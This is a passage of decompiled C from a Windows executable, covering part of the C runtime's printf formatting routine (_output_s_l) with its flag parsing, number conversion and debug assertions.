												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00420C00(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00420C00(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00420C20(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00420C20(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E0042F370(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E0042F300( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041D8B0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) + 0x4065b0) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x4065d0) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x4065d0) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M004309F0))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E0042F050( *(_t701 - 0x251) & 0x000000ff, E0041EA40(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00430B00( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00430B00( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041F590();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L0041F530(_t616))) = 0x16;
																									E0041F2C0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041EA10(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x430a28; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00430A10))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x430a50; // 0x25e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00430A3C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041F590();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L0041F530(_t618))) = 0x16;
																						E0041F2C0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041EA10(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E004242B0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041F590();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041EA10(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L0041F530(_t605))) = 0x16;
																				E0041F2C0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041EA10(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E00430BA0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00430BE0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E00430BA0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00430BE0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E00436BC0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00430BE0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E00430BA0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x430abc; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00430A80))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00420C00(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x43de98; // 0x4063f4
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041CB30(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041EA40(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x43de88; // 0xfb3c7abe
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041EA40(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x43de94; // 0xfb3c7abe
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041EA40(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x43de90; // 0xfb3c7abe
																							E00427990(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00420C00(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E0042F030(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00436BC0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00420C00(__ebp + 0x14);
																			if(E0042F010() != 0) {
																				L119:
